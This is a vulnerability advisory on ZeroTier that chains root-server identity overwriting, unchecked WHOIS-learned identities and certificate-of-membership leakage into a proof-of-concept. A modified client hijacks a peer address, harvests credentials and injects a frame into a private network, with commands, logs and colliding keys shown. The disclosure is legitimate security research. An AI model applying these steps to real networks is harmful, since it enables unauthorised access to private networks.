An attacker may chain Zerotier root-server identity overwriting, insecure identity verification and various information leakage vulnerabilities to gain unauthorised access to private Zerotier networks.
Practical exploitation of this vulnerability would require an attacker to have knowledge of the target private network address and the addresses for at least two existing clients connected to the private network. This advisory demonstrates a proof-of-concept exploit that injects a packet into a private network.
Zerotier promptly addressed the root server identity verification
issues. This attack is still possible (as of 20/09/2021); however,
an attacker is required to invest significant compute time (many many
years with a single RTX2070) to generate a valid identity that collides
with an intended target. Zerotier client’s still accept any identity
learned via WHOIS packet as implicitly valid.
Update 2021-09-24: Additional changes have been implemented to enable collision detection on the root servers, as well as a new release of the Zerotier clients (1.6.6) that no longer implicitly trust identities learned from root servers. Zerotier have released a blog post discussing the issues further.
Date Released: 20/09/2021
Author: Denis Andzakovic
Vendor Website: https://www.zerotier.com/
Affected Software: All Zerotier Clients, Zerotier root servers pre 5028aca3722fbdc989a904a3ffe7d07392ab0add
Zerotier is a peer-to-peer networking solution that allows multiple clients to join the same private network. This is achieved by each client generating a public/private key pair, the public key of which is run through a compute intensive algorithm to determine the client’s Zerotier Address. This address is then granted access to private networks through a Zerotier controller configured to allow that address.
The attacks detailed in this advisory concern the VL1 Zerotier
layer. The core peer-to-peer networking layer that underpins Zerotier.
This article assumes the reader has a basic familiarity with the Zerotier system. Supporting information can be found in the Zerotier manual.
Multiple modifications were made to a local Zerotier test client to stage various attacks against remote nodes. A patch file is included with this advisory (in the References section) that can be used to replicate the attacks and provide the additional logging shown in this advisory.
Background
An attacker could hijack arbitrary Zerotier peer addresses by overwriting
public keys stored in Zerotier root servers. This could be used to inject
unauthorised packets into Zerotier private networks under certain circumstances.
Testing was performed using the GitHub master branch, version 1.6.5.
Zerotier network addresses are derived from the peer’s public key using a custom hashing algorithm. This algorithm is designed to derive a 5-byte Zerotier address from a given public key. The algorithm is detailed in the _computeMemoryHardHash function in Identity.cpp.
The system is designed such that if a 5-byte network address is already
owned by another peer, the root servers are to respond with
Packet::ERROR_IDENTITY_COLLISION. The root servers did not perform any
verification to confirm that a given public key is valid for the network
address it’s presented for. An attacker could overwrite the network address
portion of their identity.secret file with any network address and the
root servers will accept this public key as valid for the tampered Zerotier
network address.
Additionally, the root servers did not implement collision detection, and instead overwrote existing public keys with the newly supplied public keys. This allowed an attacker to hijack arbitrary Zerotier network addresses without investing significant compute time in brute-forcing public keys to generate a collision. A fix was implemented by Zerotier which requires the identities to pass the verification check; however, an attacker may generate a colliding identity and exploit the issues in this advisory. Further details on the fix and bypass are detailed in the Root-Server Identity Verification Bypass section.
After the first connection, peers cache public keys for other peers for 30 days. An attacker would need to hijack the address for a peer that has been offline for 30 days or communicate only with other peers that do not have a cached identity for the hijacked address. Note, the Zerotier documentation recorded this cache retention value as 60 days.
An attacker could leverage this vulnerability to gain access to a private Zerotier network. Access to private network is handled by Zerotier network controller, where an administrator grants access to specific Zerotier peer addresses. The first time a peer connects to a private network, the controller reads and stores the complete public key for the peer, along with the address. This prevents this attack from hijacking a peer which has previously authenticated with a network directly, as attempts to join the network would be rejected by the controller as the public keys do not match what is expected.
Packet injection into private networks is possible after hijacking with an already registered peer by attacking the peers within the private network directly and ignoring the network controller. This attack requires multiple steps to exploit, as detailed in the Private Network Packet Injection section below.
Additional attacks may be possible by hijacking addresses for Zerotier moons and/or network controllers. This has not been fully explored and would be a fantastic candidate for further research.
To stage these attacks against remote nodes, additional functionality was implemented within the Zerotier One service running locally. A patch file is included with this advisory that can be used to replicate the attacks and provide the additional logging shown in this advisory.
The following root servers were in use at the time of writing the original advisory:
200 peers
<ztaddr> <ver> <role> <lat> <link> <lastTX> <lastRX> <path>
61d294b9cb - PLANET 227 DIRECT 1623760639975 4623 50.7.73.34/9993
62f865ae71 - PLANET 208 DIRECT 9851 4623 50.7.252.138/9993
778cde7190 - PLANET 218 DIRECT 9851 4623 103.195.103.66/9993
992fcf1db7 - PLANET 355 DIRECT 9851 4534 195.181.173.159/9993
Root Servers - Key Overwriting and Missing Identity Verification
The Zerotier root servers did not enforce any validation checks on new identities
and did not return collision errors. Instead, the root servers overwrote any
existing public key for the provided Zerotier address with the attacker supplied
public key. The dowhois API detailed below is a custom Zerotier-One Service API
created as part of this research to manually issue Zerotier WHOIS requests to
the Zerotier root servers and confirm this vulnerability.
The following figures show the process to overwrite a public key in the Zerotier
root servers. The Zerotier address being targeted in this example is 9eeda4823d.
The following figure shows the legitimate identity retrieved from the Zerotier root
servers using the modified Zerotier client:
:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...'
http://127.0.0.1:9993/dowhois/9eeda4823d; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "WHOIS sent"
}
:~/src/ZeroTierOne$ xxd clean/peers.d/9eeda4823d.peer
00000000: 019e eda4 823d 00e0 d73b c0fb d8f4 5097 .....=...;....P.
00000010: 18ba ea1e 07a2 b074 664c 8548 22ea ac88 .......tfL.H"...
00000020: c4cb 5547 0f90 05c6 2c4c 691b b181 7a54 ..UG....,Li...zT
00000030: 7dd0 ab97 0caa 4682 66ed 3d3e 61d6 7149 }.....F.f.=>a.qI
00000040: 014d ae98 d529 1700 0000 0000 0000 0000 .M...)..........
00000050: 0000
The retrieved public key was e0d73bc0fbd8f4509718...17, as shown in the hex dump
above.
By generating a new identity and overwriting the network address portion of the
identity.secret file with the target address (9eeda4823d), the address could be
overwritten in the root servers. This is detailed in the following figure. Note
the zerotier-idtool correctly shows this identity as invalid:
doi@attacker:~/src/ZeroTierOne$ sudo cat hijack/identity.secret
9eeda4823d:0:af53cba4626bc35865a39b9277bee90351e0858c2860563ee054e44f3667b1603745c18730ca151a824bd5843380a8d07bc650dc2e3ef8298e0480b514b5edc2:...REDACTED...
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-idtool validate
hijack/identity.secret
hijack/identity.secret FAILED validation.
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-one hijack/
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
The Zerotier client successfully starts and connects with the invalid identity:
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack info
200 info 9eeda4823d 1.6.5 ONLINE
Performing the WHOIS lookup from another client confirmed the public key was
overwritten in the root servers. An attacker can force arbitrary Zerotier peers
to perform WHOIS look-ups for identities that the target peer hasn’t connected
to before by leveraging the attack detailed in Insufficient Client-Side Identity Validation.
doi@ClientB:~/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...'
http://127.0.0.1:9993/dowhois/9eeda4823d; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "9eeda4823d"
}
doi@ClientB:~/ZeroTierOne$ xxd run-clean/peers.d/9eeda4823d.peer
00000000: 019e eda4 823d 00af 53cb a462 6bc3 5865 .....=..S..bk.Xe
00000010: a39b 9277 bee9 0351 e085 8c28 6056 3ee0 ...w...Q...(`V>.
00000020: 54e4 4f36 67b1 6037 45c1 8730 ca15 1a82 T.O6g.`7E..0....
00000030: 4bd5 8433 80a8 d07b c650 dc2e 3ef8 298e K..3...{.P..>.).
00000040: 0480 b514 b5ed c200 0000 0000 0000 0000 ................
00000050: 0000
The public key for the 9eeda4823d address was successfully overwritten with the
attacker controlled af53cb...c2 public key.
This is the core issue that was chained with the remaining issues in this advisory.
Identity Verification Fixes
Zerotier updated the root servers to validate inbound peer public keys. Collision detection is yet to be implemented, which allows an attacker that can generate a valid private key for a target address to execute the attack detailed in this advisory.
I created a very, very, extremely rough CUDA based Zerotier identity
brute forcer which is available on github.
You may be wondering, why is this using a .bat file instead of a Makefile
and is generally awful? Because I wrote it on my gaming PC as a bare-bones
proof-of-concept and I’d rather release terrible code than no code.
The hard-hash mechanism used by Zerotier relies on many rounds of Salsa20
performed across a 2MB memory buffer, which makes brute forcing slow. This is
further slowed down by the identity verification only accepting hashes with
a first-byte less than 17 (as shown in the following snippet from Identity.cpp):
#define ZT_IDENTITY_GEN_HASHCASH_FIRST_BYTE_LESS_THAN 17
...snip...
// Hashcash generation halting condition -- halt when first byte is less than
// threshold value.
struct _Identity_generate_cond
{
_Identity_generate_cond() {}
_Identity_generate_cond(unsigned char *sb,char *gm) : digest(sb),genmem(gm) {}
inline bool operator()(const C25519::Pair &kp) const
{
_computeMemoryHardHash(kp.pub.data,ZT_C25519_PUBLIC_KEY_LEN,digest,genmem);
return (digest[0] < ZT_IDENTITY_GEN_HASHCASH_FIRST_BYTE_LESS_THAN);
}
unsigned char *digest;
char *genmem;
};
The following benchmark is using an NVIDIA RTX2070 card, generating 5 hashes per thread:
> nvprof.exe .\ztcrack.exe 32 72 6600
Setting heap size to 6920601600
==9804== NVPROF is profiling process 9804, command: .\ztcrack.exe 32 72 6600
[!] Error: Could not open file targets.dat: No such file or directory
[!] Running in benchmark mode
Running 72 threads and 32 blocks. Total 2304
==9804== Profiling application: .\ztcrack.exe 32 72 6600
==9804== Profiling result:
Type Time(%) Time Calls Avg Min Max Name
GPU activities: 100.00% 169.977s 1 169.977s 169.977s 169.977s crack(void*, __int64, bool)
...snip...
So in this case it took 170 seconds to generate 11520 valid keys, or roughly 68-ish hashes-per-second.
Assuming a total key-space of 256^5 (Each Zerotier network address is 5
bytes long. The key-space is actually a bit smaller due to reserved Zerotier
addresses), we can estimate how long it would take to generate a valid
private key every possible Zerotier network address:
0xFFFFFFFFFF / 68 = 16169288644 (total seconds)
16169288644 / 60 / 60 / 24 = 187145 (total days)
187144 / 365 = 512 (years)
So 512 years on a single RTX2070 card with borderline-usable unoptimized brute forcing code. This places these attacks within the realms of a reasonably funded attacker. An RTX3090 has over four-times the number of CUDA cores that my RTX2070 does (10496 versus 2304). $500,000 NZD would source 138 RTX3090 cards that could potentially generate a valid private key for every Zerotier network address within a year, assuming relatively linear scaling across additional CUDA cores.
As a proof-of-concept, I generated a large number of legitimate Zerotier
identities with zerotier-idtool, then found valid collisions with the
CUDA bruteforcer. Five example collisions are shown below, the format is
<ZTAddress>:0:<Public Key>, with the legitimate public key first and the
colliding key second:
62613ea298:0:7794b4693979d08dc96552e27b3e4a590025fe387979dbb538fed894e566c34f37efcdcf1d7d4d22741bd811510ded9a7455479e3c46049136d8464756061bf3
62613ea298:0:d4e243391009b7f4f77a068697875d48bd34dbaa29c3e8c37ba306a4f64bc14f3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
773a49b199:0:85232fff85fc7ae7cfb3c145730a1f1d3424c0ad4def2c96f1fcc4266569ec5176aa6437a9f6c7c7fe3ce033c7e6460bc4342ba198aa76abc47f822da5cbdbd5
773a49b199:0:1897490629f84ae72afa7aab0caf2e92df0fcd74d5eed22b8b777602c1c7952e3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
856723f29d:0:82f709f9e039d59dee80bb38afa67e048b2f635483e4615b6b20ebcb6fb9fc4bcb87ef2d101b33eb4cacc18c8e9ad0ec6c7db01a9d69bc85ec77a22c0734ff08
856723f29d:0:af4366364c0bfe657e78b95b4d2f30915654a8d28e85222a4fe9b5cb617de02e3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
e3954c5c68:0:c2ae7ea513c58a880275c2b47489f996f960839614fa124396e8b314cc473b26071dd7f85080b936d0f322267a50dc964c2564d1f26c4b75b26c394fe43f38b9
e3954c5c68:0:3de2e4431c6dc6856a5566f4973f3a4916113a6d7a7d29cb83cac4c8b395a2133b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
85f9ee66b4:0:5fa999de3f91ff3ddac23465f1a1e3f7e9fdd9633641b3b8a2220218c86a3340eeee4d6f285581d225e70c6976832e304e509af3a0f7256178131bea1920f3a4
85f9ee66b4:0:84d769e438cb83be5a34eb3f1c3d9a3d3bd1ac200139f44666726f3fcef526233b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
These test identities were used to confirm that identities can still be overwritten in the root servers.
Insufficient Client-Side Identity Validation
A Zerotier client may learn invalid peer identities, such as hijacked
identities, when they are obtained from the root servers via WHOIS
packet. The clients implicitly trust that any identity learned via
WHOIS is valid. An attacker may force a client to perform WHOIS
requests by sending any Zerotier packet to the target client, except a
packet that includes the HELLO verb. This can be achieved either by
sending packets to clients directly (requiring direct network access)
or via the Zerotier network.
The Identity::locallyValidate() method is defined to verify if a
given public key passes the digest checks and generates the correct
Zerotier network address. Zerotier called locallyValidate on HELLO
packets received from other peers; however, identities obtained by other
means (such as via WHOIS requests to Zerotier root servers) did not
undergo validation and were effectively assumed to be valid. At the time
this advisory release (20/09/2021) Zerotier clients still implicitly
trusted identities learned via root servers.
The following figure shows the WHOIS response handling code, defined
in incomingPacket::_doOK:
512 case Packet::VERB_WHOIS:
513 if (RR->topology->isUpstream(peer->identity())) {
514 const Identity id(*this,ZT_PROTO_VERB_WHOIS__OK__IDX_IDENTITY);
515 RR->sw->doAnythingWaitingForPeer(tPtr,RR->topology->addPeer(tPtr,SharedPtr<Peer>(new Peer(RR,RR->identity,id))));
516 }
517 break;
518
The code above ensures the packet originated from an upstream server
(such as a root server) and then learns the identity. An attacker can
force a target Zerotier client to perform a WHOIS request by sending
them an arbitrary, non HELLO verb packet. The following figure shows
the logic in incomingPacket::tryDecode that causes this behaviour:
43 bool IncomingPacket::tryDecode(const RuntimeEnvironment *RR,void *tPtr,int32_t flowId)
44 {
45 const Address sourceAddress(source());
46
47 try {
48 // Check for trusted paths or unencrypted HELLOs (HELLO is the only packet sent in the clear)
49 const unsigned int c = cipher();
50 bool trusted = false;
51 if (c == ZT_PROTO_CIPHER_SUITE__NO_CRYPTO_TRUSTED_PATH) {
52 // If this is marked as a packet via a trusted path, check source address and path ID.
53 // Obviously if no trusted paths are configured this always returns false and such
54 // packets are dropped on the floor.
55 const uint64_t tpid = trustedPathId();
56 if (RR->topology->shouldInboundPathBeTrusted(_path->address(),tpid)) {
57 trusted = true;
58 } else {
59 RR->t->incomingPacketMessageAuthenticationFailure(tPtr,_path,packetId(),sourceAddress,hops(),"path not trusted");
60 return true;
61 }
62 } else if ((c == ZT_PROTO_CIPHER_SUITE__C25519_POLY1305_NONE)&&(verb() == Packet::VERB_HELLO)) {
63 // Only HELLO is allowed in the clear, but will still have a MAC
64 return _doHELLO(RR,tPtr,false);
65 }
66
67 const SharedPtr<Peer> peer(RR->topology->getPeer(tPtr,sourceAddress));
68 if (peer) {
...snip...
116 } else {
>> 117 RR->sw->requestWhois(tPtr,RR->node->now(),sourceAddress);
118 return false;
119 }
120 } catch ( ... ) {
121 RR->t->incomingPacketInvalid(tPtr,_path,packetId(),sourceAddress,hops(),verb(),"unexpected exception in tryDecode()");
122 return true;
123 }
124 }
The requestWhois invocation is detailed on line 117 above and is
called if the peer is not known and the packet does not contain the
HELLO verb.
The following figure shows a legitimate client which will be attacked for testing purposes and has no learnt peers:
doi@ClientB:~/ZeroTierOne$ sudo ./zerotier-cli -Drun-clean/ info
200 info 7cbd5b7697 1.6.5 ONLINE
doi@ClientB:~/ZeroTierOne$ sudo ./zerotier-idtool validate run-clean/identity.secret
run-clean/identity.secret is a valid identity
doi@ClientB:~/ZeroTierOne$ ls -l run-clean/peers.d/
total 0
The following shows a fraudulent client with a hijacked identity using
the custom domembershiperror API to force a test target to perform
a WHOIS lookup. The two parameters used in domembershiperror are the
target Zerotier peer address and a Zerotier private network address. The
private network address can be set to any value if the aim to only to
force a WHOIS lookup.
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/domembershiperror/7cbd5b7697/ffffffff; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "Error sent to 0x7cbd5b7697 for network 0xffffffff"
}
The following log and figure show the attacker initiated WHOIS lookup
and the attacker-controlled identity now being learned by the target
client:
doi@ClientB:~/ZeroTierOne$ sudo ./zerotier-one run-clean/
IncomingPacket::tryDecode()
…snip…
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
requestWhois for: 9eeda4823d
IncomingPacket::tryDecode()
_doOK() Handling WHOIS Reply
^C
doi@ClientB:~/ZeroTierOne$ sudo xxd run-clean/peers.d/9eeda4823d.peer
00000000: 019e eda4 823d 00af 53cb a462 6bc3 5865 .....=..S..bk.Xe
00000010: a39b 9277 bee9 0351 e085 8c28 6056 3ee0 ...w...Q...(`V>.
00000020: 54e4 4f36 67b1 6037 45c1 8730 ca15 1a82 T.O6g.`7E..0....
00000030: 4bd5 8433 80a8 d07b c650 dc2e 3ef8 298e K..3...{.P..>.).
00000040: 0480 b514 b5ed c200 0000 0000 0000 0000 ................
00000050: 0000
Client Certificate-of-Membership Leakage
Certificates-of-Membership are issued to clients by Zerotier network controllers and used to verify whether a client is allowed access to a given private network.
An attacker that is not authorised to access a private network may
harvest certificates-of-membership (COM) for legitimate clients by
sending a fraudulent ERROR packet. ERROR packets are accepted from
any Zerotier peer and processing decisions made based on the specific
error code and other checks.
An attacker that knows a private network ID and a Zerotier address of a
peer on that network can send a fraudulent
ERROR_NEED_MEMBERSHIP_CERTIFICATE error to a target client. The target
client will subsequently respond with their certificate-of-membership.
This COM disclosure was used to harvest valid COMs when staging the attack detailed in the Private Network Packet Injection section.
The following figure shows the vulnerable code path:
126 bool IncomingPacket::_doERROR(const RuntimeEnvironment *RR,void *tPtr,const SharedPtr<Peer> &peer)
127 {
128 const Packet::Verb inReVerb = (Packet::Verb)(*this)[ZT_PROTO_VERB_ERROR_IDX_IN_RE_VERB];
129 const uint64_t inRePacketId = at<uint64_t>(ZT_PROTO_VERB_ERROR_IDX_IN_RE_PACKET_ID);
130 const Packet::ErrorCode errorCode = (Packet::ErrorCode)(*this)[ZT_PROTO_VERB_ERROR_IDX_ERROR_CODE];
131 uint64_t networkId = 0;
132
133 /* Security note: we do not gate doERROR() with expectingReplyTo() to
134 * avoid having to log every outgoing packet ID. Instead we put the
135 * logic to determine whether we should consider an ERROR in each
136 * error handler. In most cases these are only trusted in specific
137 * circumstances. */
138
139 switch(errorCode) {
...snip...
161 case Packet::ERROR_IDENTITY_COLLISION:
162 // FIXME: for federation this will need a payload with a signature or something.
163 if (RR->topology->isUpstream(peer->identity()))
164 RR->node->postEvent(tPtr,ZT_EVENT_FATAL_ERROR_IDENTITY_COLLISION);
165 break;
166
>> 167 case Packet::ERROR_NEED_MEMBERSHIP_CERTIFICATE: {
168 // Peers can send this in response to frames if they do not have a recent enough COM from us
169 networkId = at<uint64_t>(ZT_PROTO_VERB_ERROR_IDX_PAYLOAD);
170 const SharedPtr<Network> network(RR->node->network(networkId));
171 const int64_t now = RR->node->now();
>> 172 if ((network)&&(network->config().com))
>> 173 network->pushCredentialsNow(tPtr,peer->address(),now);
174 } break;
175
176 case Packet::ERROR_NETWORK_ACCESS_DENIED_: {
177 // Network controller: network access denied.
178 const SharedPtr<Network> network(RR->node->network(at<uint64_t>(ZT_PROTO_VERB_ERROR_IDX_PAYLOAD)));
179 if ((network)&&(network->controller() == peer->address()))
180 network->setAccessDenied();
181 } break;
182
...snip...
The case statement on line 167 shows the code path when a
ERROR_NEED_MEMBERSHIP_CERTIFICATE packet is received. No verification
aside from checking the network identifier in the incoming ERROR
message is performed.
The following figure shows the custom domembershiperror API (which was
specifically implemented for this attack) being used to harvest a valid
COM for the 3a47320d41 client, registered for the af415e486fb9af41
private network.
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/domembershiperror/3a47320d41/af415e486fb9af41; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 71
Connection: close
{
"res": "Error sent to 0x3a47320d41 for network 0xaf415e486fb9af41"
}
The COM is subsequently logged to stderr on the attacking Zerotier
instance:
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-one hijack/
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
requestWhois for: cdaee5d14a
IncomingPacket::tryDecode()
_doOK() Handling WHOIS Reply
IncomingPacket::tryDecode()
^[[AIncomingPacket::tryDecode()
requestWhois for: ab2ebe0a59
IncomingPacket::tryDecode()
_doOK() Handling WHOIS Reply
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
_doNETWORK_CREDENTIALS
_doNETWORK_CREDENTIALS: got com: 1:00000000000000000000017a0f49531400000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:c97dc032e79e14c730bb915975c0442c4699c07ed6b32e1cf271de3b4b4ec9e88a87b3295d531af080a8c61706c6e388f3c6b359e2ef297ad214c8cc3e4ce909eeeaea0e21e5f08fdb849332c2294df4f092c0d5f7254ffe0737f8f602bbbdba
This COM can now be used by the attacker.
Private Network Access and Packet Injection
To access a private network, a Zerotier client’s network address must be added to the allow-list on the appropriate network controller responsible for managing that private network. Once the client initially connects, the network controller stores the client’s complete public key. If an attacker can determine a client address for a given private network that has not yet connected to the private network but is authorised to do so, then the attacker could hijack the client address and gain access to the private network directly.
The following figure shows an attacker gaining access to a private network with a hijacked identity when that legitimate identity has not yet connected and stored its public key with the network controller:
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-idtool validate hijack/identity.secret
hijack/identity.secret FAILED validation.
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack join af415e486fb9af41
200 join OK
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack status
200 info 9eeda4823d 1.6.5 ONLINE
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack listnetworks
200 listnetworks <nwid> <name> <mac> <status> <type> <dev> <ZT assigned ips>
200 listnetworks af415e486fb9af41 thirsty_szpakowski 42:31:54:cb:ca:63 OK PRIVATE zt44xopzzo 172.22.75.51/16
The following figure shows the hijacked identity successfully added to the network controller:
:~$ curl 'https://my.zerotier.com/api/network/af415e486fb9af41/member' -H 'cookie: ...REDACTED...'
[
...snip...
{
"id": "af415e486fb9af41-9eeda4823d",
"type": "Member",
"clock": 1623754855281,
"networkId": "af415e486fb9af41",
"nodeId": "9eeda4823d",
"controllerId": "af415e486f",
"hidden": false,
"name": "",
"online": true,
"description": "",
"config": {
"activeBridge": false,
"address": "9eeda4823d",
"authorized": true,
"capabilities": [],
"creationTime": 1623754583947,
"id": "9eeda4823d",
"identity": "9eeda4823d:0:af53cba4626bc35865a39b9277be...snip...",
"ipAssignments": [
"172.22.75.51"
],
"lastAuthorizedTime": 1623754583952,
"lastDeauthorizedTime": 0,
"noAutoAssignIps": false,
"nwid": "af415e486fb9af41",
"objtype": "member",
"remoteTraceLevel": 0,
"remoteTraceTarget": null,
"revision": 3,
"tags": [],
"vMajor": 1,
"vMinor": 6,
"vRev": 5,
"vProto": 12
},
...snip...
If the targeted client address has connected already, the attacker connection fails as the hijacked public key does not match the expected key. However, packets can still be injected into the private network by hijacking a legitimate peer address and sending frames directly to another peer on the network.
For this attack to work, the attacker must find two peers within a private network that have not communicated with each other, but have each independently connected to the network controller and obtained a recent COM. This is to make sure that when the attacker connects to the target client, the hijacked identity is retrieved from the root servers. This specific packet injection scenario is included as a proof-of-concept, and further attacks may be possible.
The attack works as follows:
- The attacker identifies two clients which are unlikely to have communicated with each other, and therefore do not have each other’s identities cached.
- The attacker sends a fraudulent error message to Client A from a
legitimate Zerotier address (using the steps detailed in
Client Certificate-of-Membership Leakage).- This gives the attacker a legitimate COM for Client A.
- The attacker hijacks the Zerotier address for Client A, and sends the COM from step 2 to Client B.
- The attacker can now send frames to Client B which are considered valid and end up in the targeted private network.
┌───────────────────────────┐
│ Zerotier Root Servers │
└────────────▲──────────────┘
│
│2 - Hijack address for
│ Client A
│
│
│
│
1 - Harvest COM for │
Client A ┌────┴─────┐ 3 - Send stolen COM to Client B
┌───────────────┤ Attacker ├────────────┐
│ └──────────┘ │
│ │
│ │
│ │
┌────────┼───────────────────────────────────────┼────────
│ │ │4 - Attacker packet
│ ┌────▼─────┐ ┌────▼────┐ │ injected to
│ │ Client A │ │Client B │ │ Client B
│ └──────────┘ └─────────┘ │
│ Private Zerotier Network │
└────────────────────────────────────────────────────────┘
In this example, the target network is af415e486fb9af41, Client-A is
3a47320d41 and Client-B is 217ede8779. First, the attacker obtains a
valid COM for Client-A:
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/domembershiperror/3a47320d41/af415e486fb9af41; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 71
Connection: close
{
"res": "Error sent to 0x3a47320d41 for network 0xaf415e486fb9af41"
}
The COM is logged to stderr on the attacker’s modified Zerotier client
(patch file is included in the References section):
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
_doNETWORK_CREDENTIALS
_doNETWORK_CREDENTIALS: got com: 1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad
_doNETWORK_CREDENTIALS: calling addCredential()
The attacker then hijacks Client-A’s address. This is shown here done
by overwriting the first parameter in the identity.secret file with
the target address. To stage the attack against the now-patched root
servers, the attacker would need to generate a colliding identity.
doi@attacker:~/src/ZeroTierOne$ sudo cat new/identity.secret
3a47320d41:0:c94d05a111b8ba7f6458365d51cf864eb481671465cc20d10c0f53a5677ab7383b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29:...snip...
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli validate new/identity.secret
./zerotier-cli: missing port and zerotier-one.port not found in /var/lib/zerotier-one
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-idtool validate new/identity.secret
new/identity.secret FAILED validation.
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-one new/
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
The COM from step one is then sent to Client-B:
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/sendcom/217ede8779/af415e486fb9af41 -d '1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad'; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 22
Connection: close
{
"res": "COM sent"
}
The following log from Client-B shows the COM successfully added:
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
_doNETWORK_CREDENTIALS
_doNETWORK_CREDENTIALS: got com: 1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad
_doNETWORK_CREDENTIALS: calling addCredential()
Network::addCredential: 1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad
Membership:addCredenital
_doNETWORK_CREDENTIALS TRUSTED
The attacker can now send an arbitrary frame which is shown on the private network:
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/doframe/217ede8779/af415e486fb9af41
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "Frame sent"
}
The following log from Client-B shows the FRAME packet passing the
network authentication checks:
IncomingPacket::tryDecode()
IncomingPacket::doFRAME()
IncomingPacket::doFRAME() - passed network id check
Network::gate
Network::gate got _config
Network::gate got m
isAllowedOnNetwork
isAllowedOnNetwork _com.timestamp() 1623755597354 _comRevocationThreshold 0
CertificateOfMembership::agreesWith
Network::gate m is allowed on network
IncomingPacket::doFRAME() - passed network gate check
IncomingPacket::tryDecode()
The following tcpdump on Client-B shows the injected packet:
doi@ClientB:~/ZeroTierOne$ sudo tcpdump -X -i zt44xopzzo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on zt44xopzzo, link-type EN10MB (Ethernet), capture size 262144 bytes
23:24:21.442432 [|ARP]
0x0000: 4141 4141 4242 4242 AAAABBBB
0x0000: 4141 4141 4242 4242 AAAABBBB
